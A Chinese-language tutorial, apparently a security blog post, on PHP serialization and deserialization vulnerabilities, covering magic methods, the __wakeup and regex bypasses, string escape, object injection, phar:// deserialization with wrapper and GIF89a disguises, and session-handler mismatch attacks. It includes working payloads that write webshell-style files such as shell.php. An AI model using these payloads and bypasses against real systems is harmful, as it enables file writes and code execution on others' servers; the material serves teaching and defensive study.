序列化的相关基础知识
序列化是什么
序列化就是将对象和数组转化为可储存的字符串。
PHP中序列化是怎么进行的
在PHP中我们是使用serialize()函数将对象或者数组进行序列化,返回一个包含字节流的字符串来进行输出。
序列化简单例子
我们将通过一个简单的例子,让大家对序列化有个初步的认识。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class test{ public $a = 'sdfsdfa'; protected $b = 1111; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d = serialize($d); var_dump($d); ?>
|
此代码运行的结果:
1
| string(73) "O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:"*b";i:1111;s:7:"testc";b:0;}"
|
其中各部分代表的内容:
- O:4:”test”:3:
O
是对象类型,若为a
则为数组类型,4
是对象名称的长度,test
是对象名称,3
是有三个成员。
- **s:1:”a”;s:7:”sdfsdfa”**:第一个
s
是字符串类型,之后的a
是变量名称,第二个s
是字符串类型,后面的7
是变量的长度,后面是变量的值。
- *s:4:”*b”;i:1111**:和上一步的基本一样,不同点是protect序列化的时候为*%00*%00成员名**,%00有两个共两个字节,
*
一个字节,成员名一个字节,总共四个字节,所以第一个s
之后就是4,之后的i
就是int类型。
- s:7:”testc”;b:0:我们可以观察到相比与上一步,变量长度又增加了,这是因为private属性序列化的时候为**%00类名%00属性名**,加上类名
test
+%00
*2+c
就等于7了,之后的b就是布尔型数据。
如果我们细心一点肯定发现序列化只对对象进行了操作,没有对方法进行操作,这是为什么呢?
反序列化
反序列化是什么
反序列化是将序列化后的字符串转换回对象或者数组
在PHP中我们通常使用unserialize()
函数将序列化后的字符串转回PHP,并返回,int、float等类型的值。
类和反序列化的关系
我们把上面的例子加工一下,将序列化的结果保存到文件。
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class test{ public $a = 'sdfsdfa'; protected $b = 1111; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d = serialize($d); file_put_contents('1.txt',$d); ?>
|
此代码运行的结果:
1
| O:4:"test":3:{s:1:"a";s:7:"sdfsdfa";s:4:" * b";i:1111;s:7:" test c";b:0;}
|
我们重新写一个读取刚刚生成文件内容并将其反序列化的代码:
1 2 3 4 5
| <?php $d = unserialize(file_get_contents('1.txt')); print_r($d); echo $d->a; ?>
|
此代码运行的结果:
1 2 3 4 5 6 7
| __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => test [a] => sdfsdfa [b:protected] => 1111 [c:test:private] => )
|
我们看看输出的结果,发现类好像不太对,a的值也没有打印出来,这是为什么呢?
因为在反序列化的时候我们要保证有该类的存在,我们没有对类的方法进行序列化,所以我们进行了反序列化操作后要依靠类的方法来进行。
反序列化漏洞的产生
首先我们先解释一下什么是反序列化漏洞,引用k0rz3n师傅的解释
PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的. 反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。
把师傅的话总结成一句话就是:反序列化漏洞是由于unserialize()函数接受到了恶意的序列化数据从而导致成员的属性被篡改而产生的。
反序列化简单尝试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class index { private $test; public function __construct() { $this->test = new normal(); } public function __destruct() { $this->test->action(); } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); } } unserialize($_GET['test']);
|
我们首先进行实例化,在实例化后会执行normal
类中的action
方法,我们的攻击思路就是改变index
类中的test
属性的值,使其能够实例化eval
类,执行其中的action
方法,想要执行一些操作我们就要去修改其中的test2
属性,使其被eval
函数调用。
我们根据思路,先写出index
类,之后修改test
属性的值使其能够实例化eval
类,但是这些操作的前提就是我们要使其调用__construct
方法,所以我们也把它加上,之后修改一下eval
类中的test2
的值,写入一个phpinfo
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class index { private $test; public function __construct() { $this->test = new evil(); } }
class evil { var $test2 = 'phpinfo();'; } $a= new index(); file_put_contents('serialize1.txt',serialize($a));
|
此代码的运行结果:
1
| O:5:"index":1:{s:11:"%00index%00test";O:4:"evil":1:{s:5:"test2";s:10:"phpinfo();";}}
|
我们将生成的序列化使用get方式提交给test:
每次一执反序列化的时候都会触发一些魔术方法,比如上面的**__destruct方法,我们在使用unserialize()来执行反序列化的时候就会自动执行它,但是__construct**方法不行,需要我们手动去编写,为什么这个方法不行呢?因为序列化本身就是存储一个已经初始化的值了,没有必要再去初始化一遍。
PHP魔术方法
PHP魔术方法有两个规定:
- 使用双下划线
__
作为方法的标识符
- 所有的魔术方法必须声明为public
PHP魔术方法的基本介绍
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| __construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
|
__construct()
__construct()被称为构造方法,当我们在创造一个新对象的时候,首先执行的就是__construct()方法,在之前的例子中我们也看到在我们执行序列化或者反序列化的过程中这个方法都是不会被触发的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class User{
public $username;
public function __construct($username) { $this->username = $username; echo "__construct test"; }
} $test = new User("wdxxg"); $ser = serialize($test); ?>
|
此代码的运行结果
通过输出结果我们可以看到创建对象在初始化的时候触发了一次,而在之后的序列化和反序列化综合中都没有调用
__destruct()
当某个对象的所有引用被删除的时候或者当对象被显示销毁时执行
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class User{
public function __destruct() { echo "__destruct test</br>"; }
} $test = new User(); $ser = serialize($test); unserialize($ser); ?>
|
此代码的运行结果
可以看到__destruct被执行了两次,一次是实例化的时候创建的对象,另一次是反序列化的时候调用的对象
__call()
当对象中调用一个不可访问方法时,__call()方法就会被调用
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{
public function __call($arg1,$arg2) { echo "$arg1,$arg2[0]"; }
} $test = new User(); $test->test('a'); ?>
|
此代码的运行结果
__call()方法需要定义两个参数,一个是函数名,一个是传入的数组
__callStatic()
在静态上下文中调用一个不可访问的方法时,__callStatic()方法就会被调用
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{
public static function __callStatic($arg1,$arg2) { echo "$arg1,$arg2[0]"; }
} $test = new User(); $test::test('a'); ?>
|
此代码的运行结果
__get()
当读取一个不可访问属性时,__get()方法会被调用,返回其属性名
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Test{ public $sum11; public function __get($arg1) { echo $arg1; }
} $test = new Test(); $test->sum2; ?>
|
此代码的运行结果
__set()
当给一个不可访问属性赋值时,__set()方法会被调用,返回其属性名和将要给不可访问属性赋的值
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{ public $var1; public function __set($arg1,$arg2) { echo $arg1.','.$arg2; }
} $test = new User(); $test->var2=1; ?>
|
此代码的运行结果
__isset()
当调用不可访问属性时用到了isset()函数或者empty()函数时,_isset()方法就会被调用
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{ private $var; public function __isset($arg1) { echo $arg1; }
} $test = new User(); isset($test->var1); ?>
|
此代码的运行结果
__unset()
当不可访问方法调用unset()函数时,unset()方法就会被调用,如果一个类定义了__unset()方法 ,那么我们就可以使用 unset() 函数来销毁类的私有属性
1 2 3 4 5 6 7 8 9 10 11
| <?php class User{ public function __unset($arg1) { echo $arg1; }
} $test = new User(); unset($test->var1); ?>
|
此代码的运行结果
__sleep()
在执行serialize()函数序列化对象之前,会调用sleep()方法,其中共有两种情况,若是sleep()方法存在则会调用,一般会用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,若是sleep()方法不存在则NULL会被序列化,产生报错。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class User{ const SITE = 'uusama';
public $username; public $nickname; private $password;
public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; }
public function __sleep() { return array('username', 'nickname'); }
} $user = new User('a', 'b', 'c'); echo serialize($user);
|
此代码的运行结果
通过运行结果我们可以看出在进行序列化之前调用了sleep()函数用来过滤password的变量值
__wakeup()
在执行serialize()函数序列化对象之前,会调wakeup()方法,若是wakeup()方法存在则会调用,一般用来准备对象需要的资源如建立数据库和其他初始化操作,并返回一个viod
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class User{ const SITE = 'uusama';
public $username; public $nickname; private $password; private $order;
public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; }
public function __wakeup() { $this->password = $this->username; } } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; var_dump(unserialize($user_ser));
|
此代码的运行结果
通过运行结果我们可以看到执行反序列化之前会先执行wakeup()函数,将username的变量赋值给password变量
__toString
当一个类被作为字符串处理时,toString()方法用于给其一个返回值,例如输出时有返回值则输出一个字符串,无返回值则产生报错
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{
public function __toString() { return '__toString test'; }
}
$test = new User(); echo $test;
|
此代码的运行结果
__invoke
当尝试以调用函数的方式调用一个对象时,__invoke() 方法就会被调用(此特性只在php5.0+版本有效)
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{
public function __invoke() { echo '__invoke test'; }
}
$test = new User(); $test();
|
此代码的运行结果
__clone
当对象使用clone关键字进行copy操作时,copy后到对象就会调用__clone()方法
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class User{
public function __clone() { echo "__clone test"; }
} $test = new User(); $newclass = clone($test); ?>
|
此代码的运行结果
php反序列化中各种绕过姿势
__wakeup()绕过
在PHP5 < 5.6.25, PHP7 < 7.0.10的版本中,当序列化字符串中的对象属性个数大于真实属性个数时会跳过__wakeup()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class User{ public $wdxxg; public function __construct() { $this->wdxxg = "hello"; } public function __wakeup() { $this->wdxxg = "word"; } public function __destruct() { print($this->wdxxg); }
} $user = new User(); print(serialize($user)); print(unserialize($_GET['a'])); ?>
|
此代码的运行结果
O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}
若get传入一个O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;},则运行结果是
O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}word
若get传入一个O:4:”User”:2:{s:5:”wdxxg”;s:5:”hello”;},则运行结果是
O:4:”User”:1:{s:5:”wdxxg”;s:5:”hello”;}hello
正则绕过
preg_match(‘/[oc]:\d+:/i’, $var) 匹配反序列化字符串来进行防御,可在数字前添加+进行绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; } }
function match($data){ if (preg_match('/^O:\d+/',$data)){ die('you lose!'); }else{ return $data; } } $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
$b = str_replace('O:4','O:+4', $a); unserialize(match($b));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
|
字符串逃逸
php反序列化字符串逃逸分为两种情况,一种是经过过滤后字符串变多,比如将一个字符串替换为三个字符,一种情况是过滤后字符串变少,比如将三个字符替换为一个字符
过滤后字符串变少
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php header("Content-type:text/html;charset=utf-8"); error_reporting(0); function filter($str) { return str_replace('.', '', $str); } class A { public $name = 'name'; public $pass = '123456'; }
$s = $_GET['s']; echo "before: " . $s . "<br/>"; $s = filter($s); echo "after: " . $s . "<br/>";
var_dump(unserialize($s));
|
传入s=O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”;s:4:“pass”;s:6:“123456”;}
后的运行结果
从运行结果我们不难看出在被过滤.
后,反序列化失败,这是为什么呢?
因为当.
被过滤后,解析到s:7:的时候会往后读取7个字符,但是现在读取完第7个后不再是双引号,序列化产生的结构被破坏,导致反序列化失败
那我们将第7个字符后面补上一个"
符号,是不是就可以正常闭合了呢?
将之前的参数稍微修改一下,传入s=O:1:“A”:2:{s:4:“name”;s:7:“xxx.php”";s:4:“pass”;s:6:“123456”;}
运行结果为
过滤后字符串变多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
function filter($string){ $filter = '/p/i'; return preg_replace($filter,'WW',$string); } $username = $_GET['username']; $age = '24'; $user = array($username, $age); var_dump(serialize($user)); echo "<pre>"; $r = filter(serialize($user)); var_dump($r); var_dump(unserialize($r)); ?>
|
当我们传入username=wdxxg时,运行结果为
通过代码我们可以知道是针对p/P过滤的,我们传入username=wdxxgp后,运行结果为
可以看到输出的内容超过了字符串的长度,并且会产生报错
我们可以利用此漏洞来篡改其中的其他参数,比如我要修改age
传入username=pppppppppppppppp”;i:1;s:2:”18”;}
可以发现本来为24的age被修改为24,这就是字符串逃逸过滤后字符变少漏洞的利用方式
对象注入
对象注入是什么呢,当我们往当前程序里注入一个定义好的类的对象,再结合类里的魔术方法中的一些存在安全问题的函数来进行攻击,这就是对象注入。
想要出现对象注入就必须得满足几个条件
- Unserialize()的参数必须可控
- 代码里存在有安全问题的魔术方法
比如这个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class CacheFile{ protected $_localStore = array(); protected $_cacheFileName = 'externalCache.php'; protected $_cacheChanged = false; function __construct(){ } function __destruct(){ if($this->_cacheChanged) file_put_contents($this->_cacheFileName, serialize($this->_localStore)); } function __wakeup(){ } } $data = unserialize($_REQUEST['rest_data']); ?>
|
我们构建一个payload
1 2 3 4 5 6 7 8
| <?php class CacheFile{ protected $_localStore = '<?php phpinfo();?>'; protected $_cacheFileName = 'shell.php'; protected $_cacheChanged = true; } print urlencode(serialize(new CacheFile())); ?>
|
传入构建的参数
?rest_data=O%3A9%3A”CacheFile”%3A3%3A%7Bs%3A14%3A”%00%2A%00_localStore”%3Bs%3A18%3A”<%3Fphp+phpinfo%28%29%3B%3F>”%3Bs%3A17%3A”%00%2A%00_cacheFileName”%3Bs%3A9%3A”shell.php”%3Bs%3A16%3A”%00%2A%00_cacheChanged”%3Bb%3A1%3B%7D
可以看到此项目下被写入了我们payload中的phpinfo()函数
phar反序列化
phar
phar是PHP中的一种打包文件,类似java中的jar包,是用来对文件进行归档的。当PHP版本>=5.3时是不用修改php.ini文件配置,默认开启的。
想要出现phar反序列化必须满足以下几个条件
- 存在文件上传并且可以上传phar文件到服务器
- 存在可用的魔术方法
- 文件操作函数的参数必须是可以改变的
如何生成phar文件
在index.php中写以下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new TestObject(); $o->data = 'hello'; $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering();
|
访问index.php后会在当前目录生成一个phar.phar文件
使用xxd命令查看phar文件
通过phar://伪协议解析phar文件
1 2 3 4 5 6 7 8 9 10
| <?php class TestObject { public function __destruct() { echo 'Destruct called'; } }
$filename = 'phar://phar.phar/test.txt'; file_get_contents($filename); ?>
|
可以看到析构方法被调用,但是wakeup函数没有被调用,我们就可以在不调用unserialize函数的情况下进行反序列化操作
phar://绕过
绕过phar://
- compress.bzip://phar://a.phar/test1.txt
- compress.bzip2://phar://a.phar/test1.txt
- compress.zlib://phar://a.phar/test1.txt
- php://filter/resource=phar://a.phar/test1.txt
- php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt
绕过图片检查
- phar文件名可以修改后缀,a.phar可以改成a.png,a.gif,a.jpg
- 文件开头添加GIF89a,伪装成gif图片
php-session反序列化
在学习此内容前,我们要了解一下php-session的序列化机制。
session在php中的存储形式一共有三种:
php_serialize |
经过serialize()函数序列化数组 |
php |
键名+|+经过serialize()序列化处理后的值 |
php_binary |
键名长度对应ASCII字符+键名+serialize()序列化的值 |
session形成漏洞的原因就是因为配置不正确或者是序列化和反序列化的方式。如果一个是使用php_serialize,而另一个使用php读取Session。因为他们的格式不一样,自己就可以伪造格式,从而可以控制数据。
我们用一个实例来给大家演示一下php-session是怎么运行的
首先我们需要配置一下php.ini文件,将session.save_handler的参数设置为files,session.save_path的参数设置为/tmp,意思就是文件的形式保存session待/tmp目录下
构建一个简单的代码
1 2 3 4 5 6 7
| <?php ini_set('session.serialize_handler','php_serialize'); session_start();
$_SESSION['wdxxg'] = $_GET['wdxxg'];
?>
|
我们访问页面,并给其随便传入一个值
传入后在/tmp目录下可以看到生成的session文件,由于我们是选择了php_serialize处理方式,所以输出的是一个序列化的结果,其他方式大家也可以自己尝试一下
php-session漏洞
这里用一个例子来展示php-session漏洞的利用
创建一个session.php文件,写入
1 2 3 4 5 6 7
| <?php ini_set('session.serialize_handler','php_serialize'); session_start(); echo 'session.php'; $_SESSION['wdxxg'] = $_GET['wdxxg'];
?>
|
我们传入wdxxg=|O:7:%22wdxxg%22:1:{s:1:%22a%22;s:17:%22%3C?php%20phpinfo()?%3E%22;}%22;}
在var/www/html目录下创建一个空文件shell.php
再创建一个test.php文件,写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php ini_set('session.serialize_handler','php'); session_start(); echo 'test.php'; class wdxxg{ var $a;
function __destruct(){ $fp = fopen("/var/www/html/shell.php","w"); fputs($fp,$this->a); fclose($fp); } } ?>
|
完成上述操作后,我们查看一下/tmp目录下的session文件
访问一下test.php,可以发现shell.php文件被写入了phpinfo
这个例子我们看完了,那再重新访问test.php时,php_serialize的处理方式会将 | 后面的值当作KEY值在进行一次serialize()序列化操作,相当于我们重新实例化了wdxxg类,将phpinfo写入我们指定的目录中,完成了php-session反序列化漏洞的利用